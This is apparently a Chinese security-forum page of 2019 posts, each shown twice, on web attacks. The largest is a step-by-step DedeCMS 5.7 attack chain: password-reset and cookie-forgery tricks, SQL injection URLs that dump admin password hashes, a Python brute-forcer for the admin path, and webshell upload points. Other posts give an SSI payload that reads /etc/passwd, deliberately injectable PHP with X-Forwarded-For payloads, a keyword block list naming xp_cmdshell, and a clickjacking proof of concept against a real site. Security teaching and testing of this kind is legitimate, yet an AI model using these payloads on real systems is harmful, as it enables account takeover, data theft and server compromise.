通知设置 新通知
织梦内容管理系统(DedeCMS)漏洞集合
fireant 发表了文章 • 0 个评论 • 1785 次浏览 • 2019-11-21 17:52
0x00环境
IP:192.168.10.67
Dede版本:DedeCMS-V5.7-GBK-SP1-Full
WAF:SafeDog
0x01站点识别
dede的站点特征还是很明显的,主要从两个地方观察,主页和会员登录界面
可以使用谷歌插件wappalyzer或者丢给云悉等等指纹识别站点
也可以通过特殊目录来判断,可以看robots.txt文件
0x02Dede前台漏洞
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/
1.前台任意账号密码修改(账号未设置安全问题)
原理:系统从数据库中获取safequestion,然后与传过来的数据进行判等。用的是双等号,又因为用户没有设置安全问题,数据库里面默认存的是0。
通过php弱类型的转换'0.0' == '0'了。(内部运算:先是把0.0(浮点数(0.0)转换为int(0),然后字符串('0')转换为int(0),最后 0==0 ,所以相等了。)
直接传0是不行的,因为代码中有empty函数的判断,当然也可以利用十六进制比如:0x0
先进行如下请求获取key
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/member/resetpassword.php?dopost=safequestion&safequestion=0.0&id=1
然后拼接如下连接便可重置密码
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/member/resetpassword.php?dopost=getpasswd&id=1&key=yegBWVfW
2.cookie伪造导致任意前台用户登录
原理:dede前台cookie的生成与校验不严谨造成的,在添加用户时会生成一个不重复参数mid,mid和userid参数会用于cookie的校验工作。
由于mid在数据库中是int,所以要进行cookie的伪造需要注册用户名为要越权的用户mid数值,而admin默认为1,因此可以直接登录为admin。
需要注册用户名为对应数据库中dede_member表中mid对应的值。如注册用户名为001,0001,00001对应dede_member表中mid为1,便是admin的mid。
然后访问如下请求获取伪造的cookie,
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/member/index.php?uid=001
接下来使用001账号登录,登录后修改cookie。
将last_vid的值赋给DedeUserID,last_vid__ckMd5的值赋给DedeUserID__ckMd5
如图修改完成
保存后刷新页面登录到admin用户中。
3.任意重置后台用户密码
其实就是上面前台任意账号密码修改和cookie伪造导致任意前台用户登录两个漏洞的结合使用
原理:在\DedeCMS-V5.7-GBK-SP1-Full\uploads\member\edit_baseinfo.php文件中的第118-123行中,当使用admin用户登录前台进行密码修改的时候会顺带将admin的后台密码也进行修改了。
先利用前台用户任意密码重置漏洞重置admin的前台密码,然后使用cookie伪造漏洞使用admin用户登录到前台在如下页面中进行密码重置,旧密码便是利用前台用户任意密码重置漏洞重置admin的前台密码
访问该http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/member/edit_baseinfo.php链接进行密码修改
4.前台台任意文件上传
原理:dede在uploads\include\dialog\select_images_post.php代码中校验文件名时,不是取文件的后缀名来进行判断的,而是对文件格式进行判断,然后再取后缀名进行拼接上传,便造成了可已使用xxx.jpg.p%php或xxx.jpg.p*hp等方式绕过
前台会员可以通过内容中心的编辑器中上传绕过
由于配置问题可能会造成如下文件管理器的未授权访问以进行上传绕过
但一般网站会对如下连接做一个跳转
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/include/dialog/select_images.php
0x03Dede后台突破
通过以上漏洞我们已近做到了修改管理员密码,只要拿到后台路径便可已进入后台操作,但也不能排除网站没有开启前台的会员中心这种情况
1./plus/recommend.php文件注入漏洞
可使用exp直接爆出管理员账号密码
EXP如下:/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` union select 1,2,3,(select concat(0x7c,userid,0x7c,pwd) from `%23@__admin` limit 0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type]=11
如图得到admin的账号和密码的MD5值
通过修改limit参数便可遍历后台账号密码,把表admin改为member便可查看前台账号密码
2.plus/search.php注入漏洞
访问如下路径/plus/search.php?keyword=as&typeArr[uNion]%20=a
如反馈是:Safe Alert: Request Error step 1!
使用如下exp/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
如果反馈如图
使用如下exp/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a如图得到账号密码(md5)
3.后台路径突破
访问 /data/mysql_error_trace.inc 里面或许能得到后台的相关信息
可以通过google搜索的方法:构造site:xxxx.com intitle:后台 等关键字搜索,也许能得到后台地址
老版本通过访问如下路径可能直接跳转后台登录,5.7版本一般会要求输入后台地址进行跳转1.include/dialog/select_images.php
2.include/dialog/select_soft.php
3.include/dialog/config.php
4.include/dialog/select_soft.php?activepath=/include/FCKeditor
5.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p也可以利用/tags.php进行暴力破解,如下python脚本
替换脚本中的根路径使用#!/usr/bin/env python
import requests
import itertools
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
back_dir = ""
flag = 0
url = "http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/tags.php"
data = {
"_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
"_FILES[mochazz][name]" : 0,
"_FILES[mochazz]" : 0,
"_FILES[mochazz][type]" : "image/gif"
}
for num in range(1,7):
if flag:
break
for pre in itertools.permutations(characters,num):
pre = ''.join(list(pre))
data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
print("testing",pre)
r = requests.post(url,data=data)
if "Upload filetype not allow !" not in r.text and r.status_code == 200:
flag = 1
back_dir = pre
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
break
else:
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("[+] pre:",back_dir)
flag = 0
for i in range(30):
if flag:
break
for ch in characters:
if ch == characters[-1]:
flag = 1
break
data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
r = requests.post(url, data=data)
if "Upload filetype not allow !" not in r.text and r.status_code == 200:
back_dir += ch
print("[+] ",back_dir)
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
break
else:
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("admin url:",back_dir)如图爆破结果
0x04Dede后台漏洞
通过上面的漏洞我们已经来到了后台
这里就列举几个任意文件上传的位置
1.文件式管理器
如图直接再后台的文件管理处上传,没有过滤机制
2.模块-广告
访问http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/plus/ad_js.php?aid=21
3.模板-默认模板管理
如图上传后缀名改为htm的shell
找到生成-更新主页html,选择刚才上传的shell,主页位置处改后缀为php
4.模板-标签源码
点击增加标签,将shell代码粘贴进去
shell位置在/include/taglib/
查看全部
0x00环境
IP:192.168.10.67
Dede版本:DedeCMS-V5.7-GBK-SP1-Full
WAF:SafeDog
0x01站点识别
dede的站点特征还是很明显的,主要从两个地方观察,主页和会员登录界面
可以使用谷歌插件wappalyzer或者丢给云悉等等指纹识别站点
也可以通过特殊目录来判断,可以看robots.txt文件
0x02Dede前台漏洞
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/
1.前台任意账号密码修改(账号未设置安全问题)
原理:系统从数据库中获取safequestion,然后与传过来的数据进行判等。用的是双等号,又因为用户没有设置安全问题,数据库里面默认存的是0。
通过php弱类型的转换'0.0' == '0'了。(内部运算:先是把0.0(浮点数(0.0)转换为int(0),然后字符串('0')转换为int(0),最后 0==0 ,所以相等了。)
直接传0是不行的,因为代码中有empty函数的判断,当然也可以利用十六进制比如:0x0
先进行如下请求获取key
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/member/resetpassword.php?dopost=safequestion&safequestion=0.0&id=1
然后拼接如下连接便可重置密码
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/member/resetpassword.php?dopost=getpasswd&id=1&key=yegBWVfW
2.cookie伪造导致任意前台用户登录
原理:dede前台cookie的生成与校验不严谨造成的,在添加用户时会生成一个不重复参数mid,mid和userid参数会用于cookie的校验工作。
由于mid在数据库中是int,所以要进行cookie的伪造需要注册用户名为要越权的用户mid数值,而admin默认为1,因此可以直接登录为admin。
需要注册用户名为对应数据库中dede_member表中mid对应的值。如注册用户名为001,0001,00001对应dede_member表中mid为1,便是admin的mid。
然后访问如下请求获取伪造的cookie,
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/member/index.php?uid=001
接下来使用001账号登录,登录后修改cookie。
将last_vid的值赋给DedeUserID,last_vid__ckMd5的值赋给DedeUserID__ckMd5
如图修改完成
保存后刷新页面登录到admin用户中。
3.任意重置后台用户密码
其实就是上面前台任意账号密码修改和cookie伪造导致任意前台用户登录两个漏洞的结合使用
原理:在\DedeCMS-V5.7-GBK-SP1-Full\uploads\member\edit_baseinfo.php文件中的第118-123行中,当使用admin用户登录前台进行密码修改的时候会顺带将admin的后台密码也进行修改了。
先利用前台用户任意密码重置漏洞重置admin的前台密码,然后使用cookie伪造漏洞使用admin用户登录到前台在如下页面中进行密码重置,旧密码便是利用前台用户任意密码重置漏洞重置admin的前台密码
访问该http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/member/edit_baseinfo.php链接进行密码修改
4.前台台任意文件上传
原理:dede在uploads\include\dialog\select_images_post.php代码中校验文件名时,不是取文件的后缀名来进行判断的,而是对文件格式进行判断,然后再取后缀名进行拼接上传,便造成了可已使用xxx.jpg.p%php或xxx.jpg.p*hp等方式绕过
前台会员可以通过内容中心的编辑器中上传绕过
由于配置问题可能会造成如下文件管理器的未授权访问以进行上传绕过
但一般网站会对如下连接做一个跳转
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/include/dialog/select_images.php
0x03Dede后台突破
通过以上漏洞我们已近做到了修改管理员密码,只要拿到后台路径便可已进入后台操作,但也不能排除网站没有开启前台的会员中心这种情况
1./plus/recommend.php文件注入漏洞
可使用exp直接爆出管理员账号密码
EXP如下:
/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` union select 1,2,3,(select concat(0x7c,userid,0x7c,pwd) from `%23@__admin` limit 0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type]=11
如图得到admin的账号和密码的MD5值
通过修改limit参数便可遍历后台账号密码,把表admin改为member便可查看前台账号密码
2.plus/search.php注入漏洞
访问如下路径
/plus/search.php?keyword=as&typeArr[uNion]%20=a
如反馈是:Safe Alert: Request Error step 1!
使用如下exp
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
如果反馈如图
使用如下exp
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
如图得到账号密码(md5)3.后台路径突破
访问 /data/mysql_error_trace.inc 里面或许能得到后台的相关信息
可以通过google搜索的方法:构造site:xxxx.com intitle:后台 等关键字搜索,也许能得到后台地址
老版本通过访问如下路径可能直接跳转后台登录,5.7版本一般会要求输入后台地址进行跳转
1.include/dialog/select_images.php也可以利用/tags.php进行暴力破解,如下python脚本
2.include/dialog/select_soft.php
3.include/dialog/config.php
4.include/dialog/select_soft.php?activepath=/include/FCKeditor
5.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p
替换脚本中的根路径使用
#!/usr/bin/env python如图爆破结果
import requests
import itertools
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
back_dir = ""
flag = 0
url = "http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/tags.php"
data = {
"_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
"_FILES[mochazz][name]" : 0,
"_FILES[mochazz]" : 0,
"_FILES[mochazz][type]" : "image/gif"
}
for num in range(1,7):
if flag:
break
for pre in itertools.permutations(characters,num):
pre = ''.join(list(pre))
data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
print("testing",pre)
r = requests.post(url,data=data)
if "Upload filetype not allow !" not in r.text and r.status_code == 200:
flag = 1
back_dir = pre
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
break
else:
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("[+] pre:",back_dir)
flag = 0
for i in range(30):
if flag:
break
for ch in characters:
if ch == characters[-1]:
flag = 1
break
data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
r = requests.post(url, data=data)
if "Upload filetype not allow !" not in r.text and r.status_code == 200:
back_dir += ch
print("[+] ",back_dir)
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
break
else:
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("admin url:",back_dir)
0x04Dede后台漏洞
通过上面的漏洞我们已经来到了后台
这里就列举几个任意文件上传的位置
1.文件式管理器
如图直接再后台的文件管理处上传,没有过滤机制
2.模块-广告
访问http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/plus/ad_js.php?aid=21
3.模板-默认模板管理
如图上传后缀名改为htm的shell
找到生成-更新主页html,选择刚才上传的shell,主页位置处改后缀为php
4.模板-标签源码
点击增加标签,将shell代码粘贴进去
shell位置在/include/taglib/
shtml页面的SSI注入漏洞
你可以叫我风平 发表了文章 • 1 个评论 • 815 次浏览 • 2019-11-21 17:43
SSI的介绍
SSI(Server Side Includes,服务器端包含)是Web应用程序上存在的指令,用于向HTML页面提供动态内容。它们与CGI相似,区别在于SSI用于在加载当前页面之前或在可视化页面时执行某些操作。为此,Web服务器在将页面提供给用户之前先分析SSI。
SSI注入的注入原理
在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。
服务器端包含攻击允许通过将脚本注入HTML页面或远程执行任意代码来利用Web应用程序。
用户输入的内容可以显示在页面中,一个存在反射XSS漏洞的页面,如果输入的payload不是XSS代码而是SSI的标签,服务器又开启了SSI支持的话就会存在SSI漏洞。
SSI注入的注入条件
Web 服务器已支持SSI(服务器端包含)Web 应用程序未对对相关SSI关键字做过滤Web 应用程序在返回响应的HTML页面时,嵌入用户输入的内容
SSI注入的挖掘思路
从业务场景来Fuzz,比如获取IP、定位、时间等
识别页面是否包含.stm,.shtm和.shtml后缀
0x02
SSI语法
①显示服务器端环境变量<#echo>
本文档名称:<!--#echo var="DOCUMENT_NAME"-->
现在时间:<!--#echo var="DATE_LOCAL"-->
显示IP地址:<!-- #echo var="REMOTE_ADDR"-->
②将文本内容直接插入到文档中<#include><! --#include file="文件名称"-->
注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径
③显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)
文件最近更新日期:<!--#fsize file="文件名称"-->
文件的长度:<!--#fsize file="文件名称"-->
④直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)<!--#exec cmd="文件名称"-->
<!--#exec cmd="cat /etc/passwd"-->
<!--#exec cgi="文件名称"-->
<!--#exec cgi="/cgi-bin/access_log.cgi"-->
⑤设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式)
⑥高级SSI可设置变量使用if条件语句。
0x03
SSI注入过程演示
这是我们自己搭的简易环境,输入正常参数查看回显~
回显无误后输入xss代码发现是个反射型xss
输入SSI指令看一下会不会执行成功
执行成功
查看全部
SSI的介绍
SSI(Server Side Includes,服务器端包含)是Web应用程序上存在的指令,用于向HTML页面提供动态内容。它们与CGI相似,区别在于SSI用于在加载当前页面之前或在可视化页面时执行某些操作。为此,Web服务器在将页面提供给用户之前先分析SSI。
SSI注入的注入原理
在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。
服务器端包含攻击允许通过将脚本注入HTML页面或远程执行任意代码来利用Web应用程序。
用户输入的内容可以显示在页面中,一个存在反射XSS漏洞的页面,如果输入的payload不是XSS代码而是SSI的标签,服务器又开启了SSI支持的话就会存在SSI漏洞。
SSI注入的注入条件
- Web 服务器已支持SSI(服务器端包含)
- Web 应用程序未对对相关SSI关键字做过滤
- Web 应用程序在返回响应的HTML页面时,嵌入用户输入的内容
SSI注入的挖掘思路
从业务场景来Fuzz,比如获取IP、定位、时间等
识别页面是否包含.stm,.shtm和.shtml后缀
0x02
SSI语法
①显示服务器端环境变量<#echo>
本文档名称:
<!--#echo var="DOCUMENT_NAME"-->
现在时间:
<!--#echo var="DATE_LOCAL"-->
显示IP地址:
<!-- #echo var="REMOTE_ADDR"-->
②将文本内容直接插入到文档中<#include>
<! --#include file="文件名称"-->
注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径
③显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)
文件最近更新日期:
<!--#fsize file="文件名称"-->
文件的长度:
<!--#fsize file="文件名称"-->
④直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
<!--#exec cmd="文件名称"-->
<!--#exec cmd="cat /etc/passwd"-->
<!--#exec cgi="文件名称"-->
<!--#exec cgi="/cgi-bin/access_log.cgi"-->
⑤设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式)
⑥高级SSI可设置变量使用if条件语句。
0x03
SSI注入过程演示
这是我们自己搭的简易环境,输入正常参数查看回显~
回显无误后输入xss代码发现是个反射型xss
输入SSI指令看一下会不会执行成功
执行成功
XFF注入
zh_smile 发表了文章 • 0 个评论 • 556 次浏览 • 2019-11-14 23:53
检测条件:HTTP Header中存在X-Forwarded-for参数的调用
检测方法:
1、检测方法,通过火狐的插件X-Forwarded-for header 1.0.1.1进行对本地IP地址进行修改,为其带入的IP地址加入敏感字符。
2、修改后,找到网站登录页面或者其它功能交互页面,提交数据后,查看是否会报错,如果会报错,则说明存在该漏洞。
漏洞成因:PHP中的getenv()函数用于获取一个环境变量的值,类似于$_SERVER或$_ENV,返回环境变量对于应的值,如果环境变量不存在则返回false。
使用以下代码即可获取客户端IP地址,程序先判断是否存在HTTP头部参数HTTP_CLIENT_IP,如果存在,则赋给$ip,如果不存在,则判断是否存在HTTP头部参数HTTP_X_FORWARDED_FOR,如果存在,则赋给$ip,如果不存在,则将在HTTP头部参数REMOTE_ADDR赋给$ip。<?php
$localhost="localhost";
$db_user="root";
$db_pass="root";
$db_name="xff";
$username=$_POST['username'];
$password=$_POST['pwd'];
$conn=mysqli_connect($localhost,$db_user,$db_pass,$db_name);
if(!$conn)
{
die("数据库连接失败".mysqli_connect_error());
}
else
{
$sql="insert into user
(username,pwd,ip)
values
('$username','$password','127.0.0.1')";
$result=mysqli_query($conn,$sql);
if(getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
$ip = getenv('REMOTE_ADDR');
} else {
$ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
$sql1="select * from user where ip='$ip'";
$result1=mysqli_query($conn,$sql1);
if($result1)
{
echo "<td>用户名:",$username,"</td>";
echo "<br>";
echo "<td>密码:",$password,"</td>";
}else{
echo "<script>alert('您正在新机器上登录账号,请确定是否为本人操作!')</script>";
}
echo "<br>";
echo "查询的语句是:$sql1";
}
?>
接下来,将$ip拼接到select语句,然后查询结果输出到界面上。
由于HTTP头部参数是可以伪造的,所以可以添加一个头部参数CLIENT_IP或X_FORWARDED_FOR。当设置X_FORWARDED_FOR=1' union select 1,2,3%23时,执行SQL语句为:
select * from user where 'ip'='1' union select 1,2,3#'
此时SQL语句可以分为select * from user where 'ip'='1' 和union select 1,2,3两条,利用第二个语句(union查询)就可以获取数据库中的数据.
漏洞复现:
在本地搭建的环境进行测试
随意输入一个账户后点击抓包
此时的返回包,显示账号密码
放到repeater进行测试
在x-forward-for:127.0.0.1后面加上',发生弹窗提醒
在加上127.0.0.1' and 1=1#,回显正常
后续注入过程不在演示。
修复方案:1、过滤http头中的X-Forwarded-for header中的内容,不允许其插入敏感字符,过滤字符参考sql注入修复方案。
.2、过滤以下敏感字符。需要过滤的特殊字符及字符串有:net user
xp_cmdshell
add
exec master.dbo.xp_cmdshell
net localgroup administrators
select
count
Asc
char
mid
'
:
"
insert
delete from
drop table
update
truncate
from
%
参考资料:徐焱《web安全攻防-渗透测试实战指南》
https://blog.csdn.net/bylfsj/article/details/101452185 查看全部
检测条件:HTTP Header中存在X-Forwarded-for参数的调用
检测方法:
1、检测方法,通过火狐的插件X-Forwarded-for header 1.0.1.1进行对本地IP地址进行修改,为其带入的IP地址加入敏感字符。
2、修改后,找到网站登录页面或者其它功能交互页面,提交数据后,查看是否会报错,如果会报错,则说明存在该漏洞。
漏洞成因:PHP中的getenv()函数用于获取一个环境变量的值,类似于$_SERVER或$_ENV,返回环境变量对于应的值,如果环境变量不存在则返回false。
使用以下代码即可获取客户端IP地址,程序先判断是否存在HTTP头部参数HTTP_CLIENT_IP,如果存在,则赋给$ip,如果不存在,则判断是否存在HTTP头部参数HTTP_X_FORWARDED_FOR,如果存在,则赋给$ip,如果不存在,则将在HTTP头部参数REMOTE_ADDR赋给$ip。
<?php
$localhost="localhost";
$db_user="root";
$db_pass="root";
$db_name="xff";
$username=$_POST['username'];
$password=$_POST['pwd'];
$conn=mysqli_connect($localhost,$db_user,$db_pass,$db_name);
if(!$conn)
{
die("数据库连接失败".mysqli_connect_error());
}
else
{
$sql="insert into user
(username,pwd,ip)
values
('$username','$password','127.0.0.1')";
$result=mysqli_query($conn,$sql);
if(getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
$ip = getenv('REMOTE_ADDR');
} else {
$ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
$sql1="select * from user where ip='$ip'";
$result1=mysqli_query($conn,$sql1);
if($result1)
{
echo "<td>用户名:",$username,"</td>";
echo "<br>";
echo "<td>密码:",$password,"</td>";
}else{
echo "<script>alert('您正在新机器上登录账号,请确定是否为本人操作!')</script>";
}
echo "<br>";
echo "查询的语句是:$sql1";
}
?>
接下来,将$ip拼接到select语句,然后查询结果输出到界面上。
由于HTTP头部参数是可以伪造的,所以可以添加一个头部参数CLIENT_IP或X_FORWARDED_FOR。当设置X_FORWARDED_FOR=1' union select 1,2,3%23时,执行SQL语句为:
select * from user where 'ip'='1' union select 1,2,3#'
此时SQL语句可以分为select * from user where 'ip'='1' 和union select 1,2,3两条,利用第二个语句(union查询)就可以获取数据库中的数据.
漏洞复现:
在本地搭建的环境进行测试
随意输入一个账户后点击抓包
此时的返回包,显示账号密码
放到repeater进行测试
在x-forward-for:127.0.0.1后面加上',发生弹窗提醒
在加上127.0.0.1' and 1=1#,回显正常
后续注入过程不在演示。
修复方案:1、过滤http头中的X-Forwarded-for header中的内容,不允许其插入敏感字符,过滤字符参考sql注入修复方案。
.2、过滤以下敏感字符。需要过滤的特殊字符及字符串有:
net user
xp_cmdshell
add
exec master.dbo.xp_cmdshell
net localgroup administrators
select
count
Asc
char
mid
'
:
"
insert
delete from
drop table
update
truncate
from
%
参考资料:徐焱《web安全攻防-渗透测试实战指南》
https://blog.csdn.net/bylfsj/article/details/101452185
点击劫持-ClickJacking
main 发表了文章 • 6 个评论 • 824 次浏览 • 2019-11-14 19:52
二、iframe特性
三、漏洞利用与危害
四、社区与某src的点击劫持
五、防御方法
六:clickjacking的利用框架
一、简介:
点击劫持(click jacking)也被称为 UI 覆盖攻击。
是一种视觉上的欺骗手段,攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,此时用户在不知情的情况下点击了透明的iframe页面。
(即:正常web页面在最高层,伪造的攻击页面在最底层。正常web页面透明度设为0时,只会看到一个伪造的界面,但是操作是在正常的web界面完成。所以在用户不知情的情况下达到了攻击效果)
通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上,攻击者常常配合社工手段完成攻击。
二、iframe特性:
1.介绍:
iframe 是 HTML 标准中的一个标签,可以创建包含另外一个页面的内联框架,在点击劫持漏洞利用中主要用来载入目标网页。
2.常用属性:(以下属性即可构造简单的poc)border:0px; /*边框属性为0*/
height:100%; /*框架高度100%*/
width:100%; /*框架宽度100%*/
Opacity: /*0 透明度(opacity参数表示元素的透明度,取值范围为0~1,默认值为1表示不透明, 取值为0时元素在网页中完全透明显示)*/
filter: alpha(opacity=0); /*兼容:ie低版本不支持opacity的,只支持filter*/
position: absolute; /*定位容器*/
z-index: 1; /*z-index值为负时,该iframe在底层,z-index值最大时在最高层*/
三、漏洞利用与危害:
1.危害:
钓鱼攻击结合csrf、xss、复制粘贴攻击等 2.利用方法:攻击者实施攻击的一般步骤:黑客创建一个网页利用iframe包含目标网站(隐藏目标网站,使用户无法察觉到目标网站存在;构造网页,诱骗用户点击特定按钮 )用户在不知情的情况下点击按钮,触发执行恶意网页的命令。
四、社区与某src的点击劫持
1.赛克社区关注处的点击劫持:
首先简单构造一个poc:(此处需要一张美女图片来使更多的表哥路过)<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<head>
<title>点击劫持 POC</title>
<style>
iframe {
width:800px;
height:500px;
position: absolute; /*定位容器*/
top: -0px;
left: -0px;
z-index: 1; /*z-index值为负时,该iframe在底层,最大值在最高层*/
-moz-opacity: 0;
opacity: 0.5;
filter: alpha(opacity=0);/*兼容:ie低版本不支持opacity的,只支持filter*/
}
button {
position: absolute;
top: 106px;
left: 680px;
z-index:0;
width: 80px;
height:34px;
opacity: 1;
}
</style>
</head>
<body>
<button>哥哥点我</button>
<img src="https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1573658294531&di=75f38a14d030c96f386a2aa7deaab4bd&imgtype=0&src=http%3A%2F%2Fk.zol-img.com.cn%2Fsjbbs%2F7423%2Fa7422459_s.jpg">
<iframe src="http://zone.secevery.com/people/zake" scrolling="no"></iframe>
</body>
</html>
查看效果:(iframe中opacity: 0.5 ,半透明)可以看到,"关注"处已经覆盖
这时修改为全透明效果:opacity: 0;
当用户点击 “哥哥点我” 时 iframe会立即加载,请求页面http://zone.secevery.com/people/zake
此时zake即会迎来一位新的粉丝
2.某电竞处的点击劫持
透明之后:
感兴趣的可以自行测试。
五、防御方法:
1.服务器端防御
思想是结合浏览器的安全机制进行防御:
1. 最简单的方法:认证用户--加一个图形验证码2. X-FRAME-OPTIONS 机制
Internet Explorer 8.0中提出全新的安全机制:X-FRAME-OPTIONS。该机制有两个选项:DENY 和 SAMEORIGIN。DENY表示任何网页都不能使用 iframe 载入该网页,SAMEORIGIN表示符合同源策略的网页可以使用 iframe载入该网页。如果浏览器使用了这个安全机制,在网站发现可疑行为时,会提示用户正在浏览 网页存在安全隐患,并建议用户在新窗口中打开。这样攻击者就无法通过 iframe 隐藏目标的网页
2.客户端防御
由于点击劫持攻击的代码在客户端执行,因此客户端有很多机制可以防御此漏洞。
1. 升级浏览器
最新版本的浏览器提供很多防御点击劫持漏洞的安全机制,对于普通的互联网用户,经常更新修复浏览器的安全漏洞,能够最有效的防止恶意攻击。
2. NoScript 扩展
对于Firefox的用户,使用 NoScript 扩展能够在一定程度上检测和阻止点击劫持攻击。利用 NoScript 中 ClearClick 组件能够检测和警告潜在的点击劫持攻击,自动检测页面中可能不安全的页面
注:利用框架
便于测试此漏洞,网上有利用框架:
https://github.com/samyk/quickjack
在线:
http://samy.pl/quickjack/quickjack.html
Switch to QuickSlice Mode:
点击I am done!
poc直接拿来用就行。
快速有效进行验证,具体利用框架使用方法见:https://github.com/samyk/quickjack
参考:
https://www.freebuf.com/articles/web/168367.html
https://github.com/samyk/quickjack
https://www.jianshu.com/p/251704d8ff18
https://blog.csdn.net/weixin_40270125/article/details/90107945
查看全部
二、iframe特性
三、漏洞利用与危害
四、社区与某src的点击劫持
五、防御方法
六:clickjacking的利用框架
一、简介:
点击劫持(click jacking)也被称为 UI 覆盖攻击。
是一种视觉上的欺骗手段,攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,此时用户在不知情的情况下点击了透明的iframe页面。
(即:正常web页面在最高层,伪造的攻击页面在最底层。正常web页面透明度设为0时,只会看到一个伪造的界面,但是操作是在正常的web界面完成。所以在用户不知情的情况下达到了攻击效果)
通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上,攻击者常常配合社工手段完成攻击。
二、iframe特性:
1.介绍:
iframe 是 HTML 标准中的一个标签,可以创建包含另外一个页面的内联框架,在点击劫持漏洞利用中主要用来载入目标网页。
2.常用属性:(以下属性即可构造简单的poc)
